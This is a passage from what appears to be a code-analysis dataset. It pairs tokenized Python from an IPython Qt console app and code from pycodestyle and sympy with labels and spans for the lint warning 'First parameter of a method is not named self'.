", "or", " ", "ZM", "Q", " ", "swa", "llow", " ", "Key", "board", "Inter", "upt", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "signal_", "._", "signal_", "(_", "signal_", "._", "SIGINT_", ",_", "signal_", "._", "SIG", "\\u", "DF", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "Kern", "el", "Manager", " ", "and", " ", "start", " ", "a", " ", "kernel", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "kernel", "\\u", "manager_", "=_", "Qt", "Kern", "el", "Manager_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "shell", "\\u", "address_", "=_", "(_", "self_", "._", "ip_", ",_", "self_", "._", "shell", "\\u", "port_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sub\\u", "address_", "=_", "(_", "self_", "._", "ip_", ",_", "self_", "._", "iop", "ub", "\\u", "port_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "std", "in", "\\u", "address_", "=_", "(_", "self_", "._", "ip_", ",_", "self_", "._", "std", "in", "\\u", "port_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hb", "\\u", "address_", "=_", "(_", "self_", "._", "ip_", ",_", "self_", "._", "hb", "\\u", "port_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "=_", "self_", "._", "config_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "start", " ", "the", " ", "kernel_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "existing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "dict_", "(_", "ip_", "=_", "self_", "._", "ip_", ",_", "ipython", "_", "=_", "not_", "self_", "._", "pure", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "[_", "'", "extra", "\\u", "argu", "ment", "s", "'_", "]_", "=_", "self_", "._", "kernel", "\\u", "argv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "kernel", "\\u", "manager_", "._", "start", "\\u", "kernel_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "kernel", "\\u", "manager_", "._", "start", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "\\u", "qt", "\\u", "elements_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "widget", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "=_", "Qt", "Gui_", "._", "QA", "ppl", "ication", "_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "local", "\\u", "kernel_", "=_", "(_", "not_", "self_", "._", "existing_", ")_", "or_", "self_", "._", "ip_", "in_", "LOCAL", "\\u", "IPS", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "widget_", "=_", "self_", "._", "widget", "\\u", "factory_", "(_", "config_", "=_", "self_", "._", "config_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "local", "\\u", "kernel_", "=_", "local", "\\u", "kernel_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "widget_", "._", "kernel", "\\u", "manager_", "=_", "self_", "._", "kernel", "\\u", "manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "window_", "=_", "Main", "Window_", "(_", "self_", "._", "app_", ",_", "self_", "._", "widget_", ",_", "self_", "._", "existing_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "may", "\\u", "close_", "=_", "local", "\\u", "kernel_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "confirm", "\\u", "exit_", "=_", "self_", "._", "confirm", "\\u", "exit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "window_", "._", "set", "Window", "Title_", "(_", "'", "Pyth", "on", "'_", "if_", "self_", "._", "pure", "_", "else_", "'", "IP", "yth", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "\\u", "colors_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Configure", " ", "the", " ", "colori", "ng", " ", "of", " ", "the", " ", "widget", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", "e", ":", " ", "Thi", "s", " ", "will", " ", "be", " ", "dra", "matical", "ly", " ", "simplified", " ", "whe", "n", " ", "colors_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "remove", "d", " ", "from", " ", "the", " ", "back", "end", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "pure", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "only", " ", "IP", "yth", "on", "Wid", "get", " ", "support", "s", " ", "sty", "ling_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "parse", " ", "the", " ", "colors", " ", "arg", " ", "down", " ", "to", " ", "current", " ", "know", "n", " ", "labels_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "self_", "._", "config_", "._", "ZM", "QI", "nter", "active", "Shell_", "._", "colors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "style_", "=_", "self_", "._", "config_", "._", "IP", "yth", "on", "Widget_", "._", "colors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "style_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "the", " ", "value", " ", "for", " ", "colors", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "colors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "colors_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "colors_", "in_", "(_", "'", "light", "bg", "'_", ",_", "'", "light", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "'", "light", "bg", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "colors_", "in_", "(_", "'", "dark", "'_", ",_", "'", "linux", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "'", "linux", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "'", "noco", "lor", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "style_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "style_", "==_", "'", "bw", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "'", "noco", "lor", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "styles_", "._", "dark", "\\u", "style_", "(_", "style_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "'", "linux", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "'", "light", "bg", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "colors_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Configure", " ", "the", " ", "style", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "widget_", "=_", "self_", "._", "widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "style_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "widget_", "._", "style", "\\u", "sheet_", "=_", "styles_", "._", "sheet", "\\u", "from", "\\u", "template_", "(_", "style_", ",_", "colors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "widget_", "._", "synta", "x", "\\u", "style_", "=_", "style_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "widget_", "._", "\\u", "synta", "x", "\\u", "style", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "widget_", "._", "\\u", "style", "\\u", "sheet", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "colors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "use", " ", "a", " ", "default", " ", "style_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "widget_", "._", "set\\u", "default", "\\u", "style_", "(_", "colors_", "=_", "colors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "redundant", " ", "for", " ", "now", ",", " ", "but", " ", "allow", "s", " ", "the", " ", "widget", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "default", "s", " ", "to", " ", "change_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "widget_", "._", "set\\u", "default", "\\u", "style_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "stylesheet", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "got", " ", "an", " ", "exp", "icit", " ", "stylesheet", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "self_", "._", "stylesheet", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "self_", "._", "stylesheet", "_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sheet_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "widget_", "._", "style", "\\u", "sheet_", "=_", "sheet_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "widget_", "._", "\\u", "style", "\\u", "sheet", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "IO", "Error_", "(_", "\"", "Styles", "heet", " ", "%", "r", " ", "not", " ", "found", ".\"_", "%_", "self_", "._", "stylesheet", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "initialize_", "(_", "self_", ",_", "argv_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", ",_", "self_", ")_", "._", "initialize_", "(_", "argv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "\\u", "kernel", "\\u", "manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "\\u", "qt", "\\u", "elements_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "\\u", "colors_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "draw", " ", "the", " ", "window_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "window_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Start", " ", "the", " ", "applica", "tion", " ", "main", " ", "loop", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "app_", "._", "exec\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "initialize_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
PyCQA/pycodestyle/testsuite/E30.py
[ { "content": " def a():\n pass", "metadata": "root.X.a", "header": "['class', 'X', ':', '___EOS___']", "index": 3 }, { "content": " def b():\n pass", "metadata": "root.X.b", "header": "['class', 'X', ':', '___EOS___']", "index": 5 }, { "content": " def a():\n pass", "metadata": "root.X.a", "header": "['class', 'X', ':', '___EOS___']", "index": 10 }, { "content": " def b():\n pass", "metadata": "root.X.b", "header": "['class', 'X', ':', '___EOS___']", "index": 13 } ]
[ { "span": "def a():", "start_line": 3, "start_column": 4, "end_line": 3, "end_column": 12 }, { "span": "def b():", "start_line": 5, "start_column": 4, "end_line": 5, "end_column": 12 }, { "span": "def a():", "start_line": 10, "start_column": 4, "end_line": 10, "end_column": 12 }, { "span": "def b():", "start_line": 13, "start_column": 4, "end_line": 13, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "X_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "a_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "X_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "b_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "X_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "a_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "X_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "b_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
sympy/sympy/sympy/polys/polytools.py
[ { "content": " def unify(f, g):\n \"\"\"\n Make ``f`` and ``g`` belong to the same domain.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f, g = Poly(x/2 + 1), Poly(2*x + 1)\n\n >>> f\n Poly(1/2*x + 1, x, domain='QQ')\n >>> g\n Poly(2*x + 1, x, domain='ZZ')\n\n >>> F, G = f.unify(g)\n\n >>> F\n Poly(1/2*x + 1, x, domain='QQ')\n >>> G\n Poly(2*x + 1, x, domain='QQ')\n\n \"\"\"\n _, per, F, G = f._unify(g)\n return per(F), per(G)", "metadata": "root.Poly.unify", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 318 }, { "content": " def _unify(f, g):\n g = sympify(g)\n\n if not g.is_Poly:\n try:\n return f.rep.dom, f.per, f.rep, f.rep.per(f.rep.dom.from_sympy(g))\n except CoercionFailed:\n raise UnificationFailed(\"can't unify %s with %s\" % (f, g))\n\n if isinstance(f.rep, DMP) and isinstance(g.rep, DMP):\n gens = _unify_gens(f.gens, g.gens)\n\n dom, lev = f.rep.dom.unify(g.rep.dom, gens), len(gens) - 1\n\n if f.gens != gens:\n f_monoms, f_coeffs = _dict_reorder(\n f.rep.to_dict(), f.gens, gens)\n\n if f.rep.dom != dom:\n f_coeffs = [dom.convert(c, f.rep.dom) for c in f_coeffs]\n\n F = DMP(dict(list(zip(f_monoms, f_coeffs))), dom, lev)\n else:\n F = f.rep.convert(dom)\n\n if g.gens != gens:\n g_monoms, g_coeffs = _dict_reorder(\n g.rep.to_dict(), g.gens, gens)\n\n if g.rep.dom != dom:\n g_coeffs = [dom.convert(c, g.rep.dom) for c in g_coeffs]\n\n G = DMP(dict(list(zip(g_monoms, g_coeffs))), dom, lev)\n else:\n G = g.rep.convert(dom)\n else:\n raise UnificationFailed(\"can't unify %s with %s\" % (f, g))\n\n cls = f.__class__\n\n def per(rep, dom=dom, gens=gens, remove=None):\n if remove is not None:\n gens = gens[:remove] + gens[remove + 1:]\n\n if not gens:\n return dom.to_sympy(rep)\n\n return cls.new(rep, *gens)\n\n return dom, per, F, G", "metadata": "root.Poly._unify", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 346 }, { "content": " def per(f, rep, gens=None, remove=None):\n \"\"\"\n Create a Poly out of the given representation.\n\n Examples\n ========\n\n >>> from sympy import Poly, ZZ\n >>> from sympy.abc import x, y\n\n >>> from sympy.polys.polyclasses import DMP\n\n >>> a = Poly(x**2 + 1)\n\n >>> a.per(DMP([ZZ(1), ZZ(1)], ZZ), gens=[y])\n Poly(y + 1, y, domain='ZZ')\n\n \"\"\"\n if gens is None:\n gens = f.gens\n\n if remove is not None:\n gens = gens[:remove] + gens[remove + 1:]\n\n if not gens:\n return f.rep.dom.to_sympy(rep)\n\n return f.__class__.new(rep, *gens)", "metadata": "root.Poly.per", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 397 }, { "content": " def set_domain(f, domain):\n \"\"\"Set the ground domain of ``f``. \"\"\"\n opt = options.build_options(f.gens, {'domain': domain})\n return f.per(f.rep.convert(opt.domain))", "metadata": "root.Poly.set_domain", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 426 }, { "content": " def get_domain(f):\n \"\"\"Get the ground domain of ``f``. \"\"\"\n return f.rep.dom", "metadata": "root.Poly.get_domain", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 431 }, { "content": " def set_modulus(f, modulus):\n \"\"\"\n Set the modulus of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(5*x**2 + 2*x - 1, x).set_modulus(2)\n Poly(x**2 + 1, x, modulus=2)\n\n \"\"\"\n modulus = options.Modulus.preprocess(modulus)\n return f.set_domain(FF(modulus))", "metadata": "root.Poly.set_modulus", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 435 }, { "content": " def get_modulus(f):\n \"\"\"\n Get the modulus of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, modulus=2).get_modulus()\n 2\n\n \"\"\"\n domain = f.get_domain()\n\n if domain.is_FiniteField:\n return Integer(domain.characteristic())\n else:\n raise PolynomialError(\"not a polynomial over a Galois field\")", "metadata": "root.Poly.get_modulus", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 452 }, { "content": " def _eval_subs(f, old, new):\n \"\"\"Internal implementation of :func:`subs`. \"\"\"\n if old in f.gens:\n if new.is_number:\n return f.eval(old, new)\n else:\n try:\n return f.replace(old, new)\n except PolynomialError:\n pass\n\n return f.as_expr().subs(old, new)", "metadata": "root.Poly._eval_subs", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 473 }, { "content": " def exclude(f):\n \"\"\"\n Remove unnecessary generators from ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import a, b, c, d, x\n\n >>> Poly(a + x, a, b, c, d, x).exclude()\n Poly(a + x, a, x, domain='ZZ')\n\n \"\"\"\n J, new = f.rep.exclude()\n gens = []\n\n for j in range(len(f.gens)):\n if j not in J:\n gens.append(f.gens[j])\n\n return f.per(new, gens=gens)", "metadata": "root.Poly.exclude", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 486 }, { "content": " def replace(f, x, y=None):\n \"\"\"\n Replace ``x`` with ``y`` in generators list.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + 1, x).replace(x, y)\n Poly(y**2 + 1, y, domain='ZZ')\n\n \"\"\"\n if y is None:\n if f.is_univariate:\n x, y = f.gen, x\n else:\n raise PolynomialError(\n \"syntax supported only in univariate case\")\n\n if x == y:\n return f\n\n if x in f.gens and y not in f.gens:\n dom = f.get_domain()\n\n if not dom.is_Composite or y not in dom.symbols:\n gens = list(f.gens)\n gens[gens.index(x)] = y\n return f.per(f.rep, gens=gens)\n\n raise PolynomialError(\"can't replace %s with %s in %s\" % (x, y, f))", "metadata": "root.Poly.replace", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 509 }, { "content": " def ltrim(f, gen):\n \"\"\"\n Remove dummy generators from the \"left\" of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y, z\n\n >>> Poly(y**2 + y*z**2, x, y, z).ltrim(y)\n Poly(y**2 + y*z**2, y, z, domain='ZZ')\n\n \"\"\"\n rep = f.as_dict(native=True)\n j = f._gen_to_level(gen)\n terms = {}\n\n for monom, coeff in rep.items():\n monom = monom[j:]\n\n if monom not in terms:\n terms[monom] = coeff\n else:\n raise PolynomialError(\"can't left trim %s\" % f)\n\n gens = f.gens[j:]\n\n return f.new(DMP.from_dict(terms, len(gens) - 1, f.rep.dom), *gens)", "metadata": "root.Poly.ltrim", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 569 }, { "content": " def to_ring(f):\n \"\"\"\n Make the ground domain a ring.\n\n Examples\n ========\n\n >>> from sympy import Poly, QQ\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, domain=QQ).to_ring()\n Poly(x**2 + 1, x, 